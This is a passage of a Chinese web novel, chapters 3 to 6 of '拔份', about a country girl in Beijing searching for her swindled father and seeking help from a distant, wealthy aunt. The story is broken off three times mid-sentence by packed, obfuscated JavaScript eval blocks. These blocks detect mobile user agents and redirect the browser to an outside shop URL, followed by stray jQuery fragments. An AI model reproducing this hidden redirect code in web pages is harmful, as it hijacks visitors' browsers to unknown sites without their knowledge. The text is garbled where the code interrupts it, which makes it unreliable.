《拔份》 3. 第 3 章 晚饭是炸酱面,小碗干炸,四样菜码,陈大妈抻的面条很筋道。为招呼客人,陈大妈还特意去街口副食店买了猪头肉,又用面糊裹着炸了小黄鱼。 晚饭前,谷翘就见到了陈大妈的一儿一女,儿子叫陈晖,女儿叫陈晴。谷翘已经从陈大妈嘴里听说陈晖学习多好,陈晖的校徽印证了陈大妈说的,校徽上的大学连他们村的村民都知道。陈晖见着谷翘多少有点儿不自在,他以前听过一嘴结亲的事,那当然是没有任何可能的。 见到谷翘的第一眼,陈晖不知怎么想起了小时候画报上开拖拉机的姑娘,但马上就九十年代了,现在不流行这一路的美。谷翘穿一件鲜黄色的娃娃领衬衫,浓黑的头发把额头压得很低,白净的脸上自带两坨腮红,虽然整个人看起来瘦瘦的一条儿,但气色看起来太过健康饱满了,饱满得有些乡土气。嗓音也清清亮亮,叫人的时候直接往人脸上盯,绝无任何婉约的意思。 一个十足的乡下野丫头,陈晖给谷翘下了一个判断。 谷翘的小晖哥叫得很热情,并没有留意到陈晖的回应有点儿敷衍。她八分心思都在想她的爸爸、她未来的职业,剩下两分努力维持礼貌。谷翘想着,人家一家本来挺高兴的,别自己来了,把人家弄得愁眉苦脸的。何必呢? 在旅游中专读书的陈晴倒是对谷翘展现出了一定的关心,她问谷翘的发型是在哪儿剪的,她之前没见过。待谷翘说她的头发是被理发店的人一刀剪的时候,陈晴就对她丧失了好奇心。陈晴是胡同里最时髦的姑娘,她现在的的装扮一切都是从港台电影电视剧里搬来的。 往常小黄鱼配二两白酒,老陈甭提有多美。可现在二锅头还是那个二锅头,却没以前有滋味。听着娄德裕被骗钱现在还没回家,老陈边喝酒边叹气。 反倒是谷翘开始安慰老陈:“您不用着急。车到山前必有路,总会有办法的。” 老陈问谷翘:“如果你爸找不着,你打算怎么办?” 谷翘想都没想,就说:“我就留在这里找个工作。“ 谷翘妈现在为了养家,整日整夜地登她的缝纫机。除了养家,谷翘妈还把娄德裕欠的债给揽下来了。搬到土坯房后,谷翘妈又找了村里有些威望的老人,把债主聚在一起,重新签了借条,本金保留,利息作废。谷翘妈还亲自按了她的手印,这笔账如果娄德裕还不了,她就还。债主们虽然很心疼飞走的利息,但也清楚,娄德裕瞒着家里借钱,现在跑了,剩下一窝老幼妇孺,值钱的东西也被他们搬走了,真不还债也没办法。既然此时谷翘妈愿意揽下来,总比不认账好。 出门前,妈对谷翘说,要是在陈伯伯家找不到她爹的消息,就回家,今年参加不了高考,就再读一年。妈说了,砸锅卖铁借钱也要供谷翘把书读下去。谷翘心里说,咱们家哪还有锅铁买呀,不都被人搬走了吗。至于借钱,这时候谁还敢借给家里钱。她心里这么想,一个字却没往外蹦,妈好不容易病好了,何必再拿这些话给她添堵。她准备等找好了工作,再跟妈说,现在跟她说,徒惹她操心。 陈晖有点儿意外,谷翘现在看上去比他爸老陈还要冷静,好像这事儿发生在别人身上。他此时忘记了避嫌,没忍住问谷翘:“你真不打算上学了?现在辍学不可惜吗?” 谷翘笑着说:“我要是像小晖哥成绩这么好,不上学确实挺可惜的。我成绩虽然还行,主要靠努力,还真没什么读书天赋。我想没准我做生意的天赋远胜读书。这也算给了我个机会。我先找个工作,攒两年做生意的本钱。” “你准备找什么工作?” “我还没想好,等我看看报纸上的招聘启事。” 老陈发了话:“你先在这里住着,工作的事你别着急,我帮你想想办法。”在老陈眼里,那些私营个体都不算正经工作。但是谷翘是个乡下丫头、文化只有高中,又没人脉,找正经单位的工作哪有那么容易。他呢,一个司机,也没什么关系能用得上。德裕去年送的好酒和烟还留着,老陈决定厚着脸皮去求求人,帮谷翘求个正经工作。这么大一家子,德裕媳妇儿养家的同时还要照顾老的小的,谷翘要是不挣钱,还真支持不下去。 陈大妈张罗谷翘多吃菜,谷翘本来没胃口吃,不过碍着陈大妈的热情,她还是把碗里的面给吃完了。一碗面吃完,陈大妈非要再给她盛,谷翘坚持说自己吃饱了。 陈晴说:“小谷姐要保持身材。吃多了还得减肥。” 陈大妈撇撇嘴:“这才吃饱饭几年,就减肥!乡下哪作兴这个。瘦得跟个条儿一样,还往哪儿减,翘儿,再添一碗,就跟自己家一样,甭客气。“ 这天晚上,谷翘坚定地把刷碗的任务揽到了自己身上。陈大妈不好意思地说:“哪有让客人刷碗的。”见谷翘刷得又快又干净,陈大妈赞赏地说:“好孩子!在家里,没少帮你妈干活儿吧。” 其实在债主找上门之前,谷翘的姥姥和妈妈还真没怎么让她干过活儿。她姥姥和妈妈因为没怎么读过书,总把读书上学当作很辛苦的一件事。她在县中上三周学才放假一次,每次回家,姥姥妈妈都觉得她在学校里受了老大的罪,总要做好吃的给她补养一番,更别提让她干活儿。她也是债主来家、妈妈病后,才频繁地干起家务活儿来。开始也不很熟练,但是好像身体里有勤劳能干的基因,很快就干熟了。她在陈家主动干活儿也不是干活儿干习惯了,而是住在人家家里还什么都不干,不就成蹭吃蹭住了?她并不觉得陈家人多欢迎她的到来,可是她除了陈家,在这个城市里还能去哪儿呢? 娄德裕以前总在家里说,不管在哪儿,城里乡下,钱最重要,你没钱住在皇城根底下有什么用?光看着别人吃好的用好的还不够眼红的。 不过不是谁都像德裕一样天天想发财想得眼睛都红得出了血。陈伯伯就很知足。虽然厕所只能跟人共用,还在院子外面,洗澡冬天得去公共澡堂,还没谷翘家以前方便,但陈伯伯就很知足,觉得他过的就是再好不过的日子。 谷翘晚上被安排和陈晴住一间房。说是一间,其实只有半间。这半间房对陈晴一个人来说,刚刚好,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682401|144253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多一个人,就拥挤了。 陈晴问谷翘:“你在这儿还有别的亲戚吗?”如果谷翘是个摩登姑娘,两个人可以一起谈时装化妆电影小说,陈晴或许很乐意她住下去。但显而易见,陈晴觉得谷翘不会和她有任何共同语言。陈晴是很富同情心的一个人,总是为电影电视剧里的故事流泪,可到了现实里,她虽然也同情谷翘的遭遇,可一想到谷翘留宿的话就得占她一半空间,陈晴就有点儿烦。住几天可以,长了她可受不了。 谷翘迟疑了一下说:“有一个堂姨。” 陈晴马上说“你堂姨那里没准有你爸的消息?你爸或许去过她家也说不定。你要不去她家看看?” 谷翘没说话。娄德裕是绝对不可能去她堂姨家的。 堂姨是谷翘叔姥爷的女儿,从小没了双亲,住在谷翘姥爷家,据姥姥说,堂姨和谷翘妈虽然是堂姐妹,但处起来跟亲姐妹一般。谷翘记事起唯一一次见她堂姨还是姥爷去世的时候,从此堂姨再没回过老家。 谷翘现在连堂姨的脸都不记得长什么样了。她对堂姨的印象都是从爸妈那里听来的。在她妈嘴里,堂姨读书好人又上进;换到娄德裕嘴里,又是另一回事。 在德裕嘴里,谷翘堂姨冷漠势利,当年他和谷翘妈两个人专程坐十来个小时火车带着半个家当置办的嫁妆去参加她的婚礼,结果却被安排在角落里,见了他,连姐夫都不叫一声。三婚老头更是傲慢,见到他只微微点了下头。背着自己妻子,娄德裕提起自己那位姓骆的堂妹夫,总是用“三婚老头儿”代称。提得太过频繁,以至谷翘虽然不记得自己堂姨长什么样,却清楚知道堂姨夫是三婚,还很老,在和堂姨结婚前已经有了一对儿女,这对儿女还不是一个妈生的。 谷翘妈为堂妹不和亲戚来往解释,一个乡下女孩子在大城市站稳脚跟多不容易,家里人给不了帮助就算了,还想要借她的势,要是人不冷一点,一堆人就上去吸她的血了。娄德裕听了,冷笑一声,谁能吸得上她的血?她吸你的血还差不多。也不知道她怎么就和姓周的搭上了,好像姓周的才是她真亲戚似的,现在她知道跟咱们划清界限了,不是当初吃不上饭跟着你屁股后面叫姐姐姐姐的时候了。谷翘妈回德裕,过去的事扯它干什么,过好现在不比什么都强。你要觉得人家看不起你,不来往就是了。 虽然谷翘妈在家里只说谷翘堂姨的好话,但在谷翘记忆里,妈和这个姨的来往还不如村里出了五服的街坊,并不怎么亲密。要是亲密,这次她进京,妈一定会让她去堂姨家一趟的。 见谷翘不搭茬儿,陈晴又说:“你堂姨家住哪儿?房子宽敞吗?我挺希望自己多个伴儿的,不过两个人住这间房太挤了。” 娄德裕一直认为谷翘不像他,谷翘也觉得自己也不怎么像爹。但是这天晚上谷翘在月亮地儿下洗她的黄衬衫的时候,是谷翘最像娄德裕的一刻。这一刻,谷翘非常希望自己成为一个有钱人。 谷翘使劲搓她的黄衬衫,这是她最好的一件衣服。明天她准备穿这件衣服去见她的堂姨。 4.第 4 章 陈晖起床听英语新闻的当儿,发现谷翘已经早已经起了,正在厨房里和他妈一起包包子。 暑假一开始,陈晖就报了学校里的托福培训班。除了上课以外,他其他的时间也都用来学英语。年初,他就打定主意去美国留学。本来他听系里前辈说,托福上六百申美国大学就没什么障碍了。但他听说同系的骆培因第一次考托福考了六百六十多分,马上有了紧迫感。不过只是传说而已,骆培因本人并没透露他托福分数。不过这个分数和另一个传言加在一起,就增加了可信度。传说骆培因喜欢上了英语系的学姐,经常去英语系蹭课。但学姐其实是有男朋友的,男友还是英语系一个有名的才子,才子见自己的女友被觊觎,抑制不住自己内心的愤怒,就想要教训教训骆培因一顿,结果反而被打了。 对于系里的八卦,陈晖都是听别人说的,他本人既不参与制作的过程,也不进行传播。对于这些,他只觉得无聊。他没想到自己的有些同学对传播这类事件如此热衷,只能感叹知识的增长和对八卦的热衷并不成反比。 厨房里谷翘的笑声使他陈晖疑惑,这个人这会儿怎么还能笑得这么脆生,真够没心没肺的。陈晖有点儿怕谷翘把这里当成了新的依靠。虽然马上就九十年代了,但谷翘是乡下的女孩子,没准现在也把父母之命看得很重,觉得以后她是要嫁给他的。可那算什么父母之命,不过是醉后胡话罢了。 陈大妈早晨起来刚出屋门就看见谷翘站在院里大树跟前发呆。这可把陈大妈吓了一跳,这姑娘要是想不开在自己家出事儿了可怎么好。陈大妈让谷翘去屋里休息休息,她给谷翘做好吃的。谷翘说自己睡不着,主动要帮陈大妈一起做早饭。谷翘剁菜调馅儿,陈大妈在一旁擀皮包包子。等包子进了蒸锅,陈大妈让谷翘帮她看着,她要出趟门。厨房跟住房分离,在院中间,谷翘看了眼蒸锅,离熟还早着,出了厨房,看见陈晖在背单词,她想,暑假还这么早起背书,真爱学习。 陈晖抬头看她,谷翘很自然地笑了一下。她本来就爱笑,这段时间出了事反而笑得更频繁了。她时刻告诉自己,越是困难的时候越是得笑。 。 这笑谷翘给得随随便便,在陈晖看来却另有一点儿别的意思。他觉得自己有必要和谷翘谈一谈,以免她误会两个人的关系。可他刚要开口,谷翘已经转身走了。 谷翘不愿打扰人学习,就没主动跟陈晖搭话,走到晾衣杆前,摸了一把自己昨天的衣服,看干了没有。夏天衣服受了一夜的风,早上已经干了。谷翘急着拿干了的衣服回屋换上,完全没注意陈晖看她的神情。 早饭,陈大妈特意为谷翘去早点铺子买了炸糕,怕谷翘喝不惯豆汁儿,专门给她买的热豆浆。以往家里配豆汁儿的咸菜都是切了丝的棺材板,今天陈大妈加了六必居的酱菜。 陈大妈这么隆重地准备早饭,谷翘怀疑大妈以为她今天去堂姨家就不回来了。她沉默地吃着早饭。 陈晴夸今天的白菜包子比往常好吃,陈大妈又开始夸谷翘:“这是翘儿调的馅儿,你翘儿姐人长得俏式,手也巧。真想跟你谷婶子把翘儿要过来给我当闺女。我就羡慕那有俩大闺女的。” 陈晴听妈这么说,拿自己哥打趣道:“这也简单。你要想要谁做你闺女,就让哥娶谁做媳妇儿,这样一来,自然就是咱们家人了。” 陈大妈听话头不对,想要补救,还没张口,就听儿子说:“你胡说什么!根本不可能的事!” “你凶什么!不愿意就不愿意,冲我发什么脾气?我惹你了!谁惹你了你找谁去!”陈晴被哥哥这么一吼,吃饭的心情也没了,扭头就进了自己房间。 陈大妈没想到好好的一顿饭闹成了这样子。怪自己多话,引出这些事,又怪女儿开玩笑没轻重,同时还怨儿子说话太狠,不给谷翘留一点面子。不愿意就不愿意,何必这么恨着说出来。 陈大妈安慰谷翘:“他们兄妹俩老闹,不是针对你,别往心里去。” 谷翘并没觉得陈晖的话是在针对自己。她平常就反感村里男女们有个儿子,甚至有个兄弟,就处处选妃的架势,动不动就对人姑娘说给我们家做媳妇儿好不好。她甚至觉得陈晖一个男的能站起来主动驳斥这件事很好,陈晖的话其实也是她的想法。但是作为一个客人,见证了别人家的矛盾多少有些尴尬。 陈家人把谷翘的尴尬理解成被陈晖拒绝的尴尬。为缓解谷翘的尴尬,陈大妈一直劝谷翘多吃东西。 听到谷翘要去堂姨家,老陈说:“别急,昨天在火车上也够累的,今天又起个大早,多歇会儿。下午我开车送你去。”上午领导要用车,老陈走不开。 听到谷翘坚持要上午去,陈大妈说:“陈晖,你就陪翘儿去一趟。她第一次来这里,人生地不熟的。”街坊过满月,她要去随礼,走不开。 没等陈晖拒绝,谷翘说:“不用麻烦小晖哥了。我一个人从火车站都能找到这儿来,哪儿找不到。” 陈晖听谷翘这么说,直接拒绝的话反倒说不出了:“我今天要去培训班上课。要不你等我爸下午带你去。也不用这么急。” 谷翘很急,她等不了了。陈家人都以为谷翘这么急,是因为陈晖刚对他俩的关系下了判断:绝无可能,姑娘家面皮薄,在陈家待不下去了。陈晖此时突然有点儿同情谷翘,说实话他并不讨厌她,但是他不能允许别人把他和一个只有高中文化的乡下姑娘凑成一对。他跟谷翘根本就不是一个世界的人。 因着这点儿同情,陈晖问谷翘堂姨家住哪儿,他帮她规划一下公交路线,别走错了路。听到谷翘说的地址,陈晖没忍住问:“你堂姨是做什么工作的?”他有些同学就住在那里,他们的父母都是有些职级的。 谷翘很诚实地说:“我不太清楚。” 陈大妈还以为这堂姨是个可靠的亲戚,没想到也不是那么靠谱,没准联系还没自己家密切。她对谷翘说:“你的书包衣服还留这儿,要是你小姨家待你好,你再回来取。不行的话就在大妈家住下来。也就一双筷子的事,少不了你吃的。” 谷翘一点儿冤枉路没走,就到了信封上堂姨的地址。谷翘临出门前,姥姥偷偷摸摸给她一个信封,姥姥对谷翘说,“要是实在困难,就按信封上的地址去找你小姨。别跟你妈说,都什么时候了,还不想麻烦人家。当初你小姨住在咱们家,还是我和你姥爷养大的。她后来上学,你妈妈没少省钱给她花。这么多年咱们没麻烦过她,现在咱们落难了,她帮帮咱们也是应该的。” 转公交的时候,谷翘在街口看见卖西瓜的。有郊区的农人拉了一大车西瓜在路口买。谷翘正发愁去堂姨家带点儿什么。她是晚辈,年龄小,空着手去人家请人帮忙,当长辈的也不好挑理儿。可堂姨不认识她,她代表的是自己的妈。妈那么要面子的人,她觉得自己也要讲点儿礼数。 谷翘最会挑瓜,家里换瓜时都让她挑,就连娄德裕在这方面也非常佩服谷翘的眼光。她挑的瓜没有不甜的。乡下不兴买瓜,都是用粮食换。往年她家都拿一口袋一口袋的粮食去换西瓜,西瓜都储藏在地窖里,想吃了,便用刚打来的井水拔得凉凉的,傍晚切了西瓜一家人围坐在一起在树下吃,整个夏天好像每天都在吃瓜。滚圆滚圆的西瓜到了小妹妹的肚子里,妹妹的肚子也变得滚圆滚圆的。今年夏天谷翘只吃了一片西瓜,一是没那么多的粮食去换瓜,二是家里还欠着钱,若还有闲钱闲心吃瓜,名声都要坏掉了。但是妈胃口不好,谷翘为了给她开胃还是偷偷拿粮食去邻村换了两个瓜。她妈那样的人,当然不会自己吃独食,于是全家人都吃上了瓜。 谷翘挑了两个十几斤的大瓜,物美价廉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687845|144253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但价太廉了,怕堂姨嫌礼太轻,又去商场买了一把香蕉。香蕉价格比谷翘想得还要贵,就这么一把香蕉,换成西瓜不知道得有多沉。 堂姨信封上的地址只停留在社区,并没有具体到门牌号。谷翘一只手一只瓜,下了公交,走到社区门口,准备去找门卫大爷问一问。她知道堂姨和堂姨夫的名字。 她正准备往里走,就见一个男孩子骑着自行车往门口骑。那男孩子谷翘很眼熟,就是她在公交车里给她让座的那一个。他今天也戴着耳机,不过把黄色换成了黑色。她昨天在思考自己前途的时候还顺便想了下,花衬衫到底有没有追上他。 谷翘手里拿着西瓜,没法腾出手来打招呼,只用她清亮的嗓子冲着那天遇到的少年大声喊:“嗨!你好!” 骆培因开始并不认为谷翘是在跟他打招呼,虽然他凭借她的头发、黄衬衫和那把嗓子认出了她就是在公交车里携带xx复合肥拿枣打人的女孩子。但是除了公交车上见了一面,两人并没交情。直到谷翘放下手里西瓜,冲他挥手,骆培因才确认这女孩子是在招呼他。 谷翘见少年在自己面前刹了车,第一时间问出了她最关心的事:“那天花衬衫没打你吧。” “没。”怎么会问出这种话?他看着很像被人打的吗? 见少年骑车要走,谷翘忙拿出自己刚买的一把香蕉,一手劈了五根下来,她本想往少年自行车车筐里放,伸出手,才发现他的自行车没车筐。 谷翘手里拿着香蕉,冲少年笑着说:“那个花衬衫是我打的,多亏你帮我认了,要不我就麻烦了。太谢谢你啦。我请你吃香蕉。” “你留着吃吧。” 谷翘坚决要请他吃:“你吃吧。听说很甜。” “我香蕉过敏。” “香蕉过敏?这样啊。”谷翘第一次听人香蕉过敏,她低头看看自己的西瓜,“你西瓜过敏吗?” 骆培因第一次见谷翘这种人,看她这架势,不像是住这里的,这么个傻妞,别被人给骗了。他看了她的两个大西瓜:“你来这儿……?” 谷翘也没瞒人,直说自己是来探亲戚。她心里想着要是这个少年知道她堂姨住哪儿,就省得再问别人了。这里是她堂姨夫分的房子,说姨夫的名字估计认识的人多些。 谷翘问:“你知道骆伯桉住哪儿吗?” “骆伯桉?他是你什么人?” “我姨夫。” “你姨叫什么?” 谷翘说了自己堂姨的名字,见少年那表情,她马上说:“不清楚也没事儿,你忙你的去吧,我去问问别人。” 谷翘没成想这少年还真知道,连具体门牌号都告诉她了。只是她没想到这个社区比她想象得大,她还以为快到了,没想到还得往里走这么多路。在少年第一遍给她指完路后,谷翘不好意思地说:“能麻烦你再重复一遍吗?” 骆培因看了眼自己手腕上的表,又看了谷翘一眼,再看了看她的西瓜香蕉,他对着谷翘的西瓜说:“我带你去。” “方便吗?” “赶快上来吧。” 谷翘没再客气,出于为人节约时间的考虑,她麻溜跳到了车后座。谷翘第一次坐这么快的自行车,除了拐弯的时候会慢下来看看路况。她想,幸亏遇到了这个人,否则还真难找到。这个社区分好多片儿,她堂姨家住的那片儿单独围起来,有人站岗。进了这片儿,五层楼房就变成了独栋的二层小楼。 “真是谢谢你。我叫谷翘,谷子的谷,尧羽翘。你叫什么?” 谷翘并没听到回答,她心里猜也许是少年不愿意跟她透露自己的名字,但她马上为双方找到了台阶:“真是个好人,做好事还不留名。” “骆培因。”三个字平淡的有些冷漠。 “这么巧!你也姓骆。” 5.第 5 章 骆培因把谷翘带到房子门口,说了声“就是这里”,还帮她按了门铃。谷翘的谢谢还没说完,就再没见骆培因的影子了。 这小院子里的花和谷翘的衬衫一个颜色,花草都是她在乡下熟识了的,但今天在她眼里却有点儿陌生。 听到门铃响,连奶奶还以为是骆培因折返回来了。哪有自己骑车去机场的,让老钱开车送到机场也不费事。反正骆先生现在出国访问去了,老钱闲着也是闲着。 孰料开门见到一个年轻姑娘,提着两个大西瓜,脆生生地跟她打招呼,“您好,请问这里是骆伯桉……先生家吗?” 连奶奶在骆家做了这么多年,最擅长的就是拒客。她一扫来人的礼物,马上下了判断:毫无受贿的风险。连奶奶上下打量了谷翘一眼,“你是……?” 谷翘两句话就交待了自己的身份来意。连奶奶藏起了自己的惊讶,她在骆家待的年头远比现在这位骆太太待的时间长,自新太太到这个家来,她总共才见过一次新太太的亲戚,还是好久之前的事了。要不是今天这姑娘自报家门是谷家的亲戚,连奶奶几乎都要以为太太的亲戚都不在这世上了。 连奶奶一眼就把谷翘的来意估了个七八分,乡下来的亲戚,恐怕要请太太办事。她请谷翘坐下,“谷老师在楼上,我去请她下来。” 听眼前人称呼她的堂姨为谷老师,谷翘还以为堂姨现在做老师,后来才知道这只是连奶奶对自家雇主与时俱进的一种称呼。连奶奶本来是称呼自家雇主先生太太的,但先生嫌太太这个词太资本主义,于是连奶奶便改了个称呼。 谷翘听这话音,才确定眼前人是骆家的保姆,她马上说:“谢谢!我怎么称呼您呢?” 谷翘的谢谢说得很热情,连奶奶点了点头表示接受了:“叫我连奶奶吧。” 谷翘心里觉得叫眼前人奶奶太年轻了,她梳一个溜光水滑的圆髻,白衣黑裤,离远了看不清多少皱纹。不过人家这么说了,她也就这么称呼。 谷翘并没坐下,她站在客厅里,看着连奶奶一级级登上楼梯,这一刻她突然觉得格外漫长,好像楼梯没有尽头似的。楼上传来的琴声在她心里踩着点,这舒缓的练习曲并没减缓她内心的紧张。客厅里其实很凉快,谷翘在客厅里见到了娄德裕说的比电扇要凉快的东西。 堂姨家比她想象的要有钱,一瞬间谷翘怀疑娄德裕对富裕的定义来自骆家。娄德裕这么想发财,一部分没准也是受了这里的刺激。娄德裕要是知道她来这里找堂姨帮忙,还说出了他被骗得分文没有的事,没准气得要发疯了。活该,谁叫他现在不回家把烂摊子留给妈妈!以谷翘对娄德裕的了解,她倒不担心德裕会因为这事想不开了断。谷翘甚至不觉得娄德裕现在是为了躲债才不回来的,她很担心娄德裕受了骗,没脸回家,现在憋着赚把大的,再回乡光耀门楣。没准为了把钱赚回来,把骗子骗他的手法炮制一下,再去骗别人。真要这样,才是无法挽回了。她必须在娄德裕做出这种事之前把他找回来。 这个猜测谷翘没跟任何人说,跟妈妈说,妈妈更担心;至于跟外人说,娄德裕目前的形象已经够差了,实在没必要凭想象把他说得更差,这样别人只想远离,恐怕更不会帮她找了。 骆太太在楼上监督小儿子练琴,此时还不知道外甥女已经到她家了。 骆老四感叹:“二哥终于走了,真希望他暑假结束了再从新加坡回来。” 对于骆培因去新加坡探亲这事,最开心的是家里的小弟弟。骆老四也不知道二哥哪来的这么多忌口,口味淡,葱蒜不吃,鸡肉不吃,就连西红柿都能过敏。如果不是连奶奶,二哥不吃就不吃,也不碍着他什么。可连奶奶这个老太太仿佛不是骆家的家庭服务员,而像是骆培因一个人的服务员。自从暑假开始,连奶奶就没做过一次他爱吃的菜,鸡肉不做也就算了,盐放了跟没放一样,理由是二哥在学校食堂受苦了,食堂的菜口味太重,回家怎么能再不吃个可口的。可口只停留在连老太太的嘴上,他也没看见二哥多爱吃老太太做的菜。就连二哥主动跟老太太说,不要光紧着他的口味做,毕竟是全家人一起吃饭。连奶奶也听不进去。仿佛是古时忠臣,为了自己心中的正义,连皇帝本人的话也不听。 骆老四在背后骂连奶奶,知道的是骆家的保姆,不知道的还以为是这个家的老祖宗呢。他就没见过同学朋友哪家的保姆像连老太太一样。倒也不能说连奶奶在骆家作威作福,即使爸爸和二哥邀请连奶奶一起吃饭,连奶奶也坚决拒绝,数年如一日在厨房解决吃饭问题。 送走二哥,骆老四马上向连奶奶提出要求,他今晚要吃卤鸡腿。他刚提完要求,就被母亲叫去练琴。骆老四很烦母亲说“像你这个年纪,你二哥已经会弹什么曲子了。”是,那又怎样,“小时了了,大未必佳,”二哥不光没成钢琴家,现在连钢琴都不弹了,没准现在会弹的曲子还没自己多、还没自己好呢。母亲什么都要拿他和二哥比,仿佛他只要不超过二哥,就不配收获表扬。还有那个连奶奶,经常说:“培因九岁就一个人坐飞机回国。”切,要是给他买机票,他也可以一个人坐回来。可惜并没有人把他送到新加坡,他也无法一个人坐飞机回国。 骆太太下意识地看了眼门,还好门是关着的。她厉声道:“以后不许在家说这样的话。让别人听见了,还以为我不容人呢。” 家里现今除了连奶奶,并没有“别人”。骆太太开始只把连奶奶当成一个普通的保姆,因为用着不顺心,想要换一个。但这一想法遭到了丈夫的反对,“她带大了培因,有功劳也有苦劳,要是有意见,可以沟通嘛。” 四个孩子里,骆伯桉最看重他的二儿子。骆太太开始以为重点是“儿子”,及至现今骆太太自己生了儿子时,她才发现并不是那么回事。骆太太第一次结婚时,她的丈夫已经是第三次结婚,之前的每次婚姻还都给他留下了一个孩子。骆伯桉每年都要祭奠他因病去世的第一任妻子,却对他的第二任绝口不提。骆培因是第二任的儿子。 连奶奶就是骆伯桉第二任妻子留下的遗迹,据说第二任妻子带着骆培因去新加坡探亲时,也要把连奶奶一并带去。说是探亲,其实那时候就不打算回来了。但是连奶奶放心不下自己家,没去。后来骆培因自己一人坐飞机回国,骆伯桉非常感动,没想到儿子会为了自己抛弃资本主义的糖衣炮弹。感动的同时也纳罕,每天那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702407|144253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙,儿子都难得见一面,何以儿子就对自己这个父亲产生了如此深刻的感情。不管怎么样,既然儿子如此爱自己,自己也应该对儿子好一点。 骆伯桉的这番心情现在的骆太太并不了解,只以为他对第二任旧情难忘。 连奶奶的敲门声非常有节奏,骆太太整理了下自己的鬓发,冲着门说:“进来吧。”同时用眼示意儿子继续弹琴。 听到连奶奶说,妈妈家亲戚来了,骆老四的琴声倏地断了。从他记事起,他就没见过妈妈的亲戚。逢到过年收红包,骆老四就很遗憾妈妈这边怎么一个亲戚都没有。大姐妈妈去世了,也和她的舅舅姨姨联系着呢;至于二哥,他妈在新加坡,应该那边也是有亲戚的,不管怎样,反正礼物是没少收。 谷老师听到外甥女来了,心里一惊,她甚至没顾得上叮嘱儿子继续练琴,就出了门。这么多年不上门,这次上门不会出了什么事吧。 这些年,骆太太和堂姐家的唯一联系就是过年她给婶婶寄一笔过节红包,然后堂姐仿佛怕占了她便宜似的,邮寄一堆乡下特产过来。这些东西在进骆家门之前,就被她送了人。她未尝没想过自己日子好过了,帮一帮堂姐,但是想着娄德裕也会因此得益,帮助的心就淡了。万一娄德裕蹬鼻子上脸不知足,还不够麻烦的呢!何况是堂姐有求于她,堂姐都不主动,她又上赶着干什么? 堂姐的心结大概是婚宴时结下的,丈夫给婚礼定了个基调,一切从简,她这边只请了周瓒和自己的领导参加婚宴,没想到堂姐收到信后竟带着赶制的嫁妆和娄德裕连夜坐火车来了。 骆太太至今仍记得娄德裕穿的那件不合身的西服,太怪模怪样了,随便穿件旧衬衫都比他的西服强得多。跟周瓒对比起来,简直一个天上一个地下。她并未为自己姐姐姐夫的到来而感动,只觉得有这么个姐夫真丢脸。真不知道姐姐在和周瓒那样的人交往后,怎么还能看得上娄德裕这种男的。她临时决定让堂姐坐在周瓒旁边,以中间没位置为由把娄德裕安排在了边角。 堂姐拒绝了她的安排,选择和娄德裕坐在一起。即使现在给她一次重新选择的机会,骆太太也会继续让周瓒给她做婚礼祝词,而让娄德裕坐在边角。只是她偶尔会后悔,要是晚一点给堂姐写信通知结婚的事就好了,那样堂姐就不会来参加婚礼,也就不会遭遇那样的难堪。但是嫁给娄德裕那样的人,注定是要遭遇难堪的。 骆太太楼梯下到一半,突然站定,站在楼梯上打量站在客厅里的谷翘。 谷翘抬头看见一个三十来岁的女人站在楼梯上观察自己,她穿着一件不知道什么材料的黑色连衣裙,看上去挺贵的,连衣裙上的蓝色胸针很醒目,即使隔着很远,谷翘也注意到了。谷翘第一眼就觉得楼梯上女人头发烫得很好,她见过许多烫发的,这次进城坐火车公交都见了许多,都没这个烫得好。 谷翘马上意识到这个女人应该是自己的堂姨,她突然笑了,清亮地叫了一声:“小姨!” 谷翘并没有马上亮明自己的来意,只说代妈妈来看望一下小姨。 骆太太看了一眼谷翘带来的礼物,噗嗤一声笑了:“你这次来,恐怕你妈妈并不知道吧。” 6.第 6 章 骆老四在楼上特意开了个门缝,靠在门上听楼下说话。孰料妈妈只和她亲戚在客厅只停留了一会儿,就进了房间。大概是怕连奶奶听到她们的谈话。 骆太太重又回到楼上,检查儿子今天练琴的成果,骆老四忍不住问道:“客人走啦?” “今天来的是你表姐,从今天开始她就住在咱们家。“ “表姐自己没有家吗?” 骆太太看了眼儿子:“再给我完整地弹一遍。” 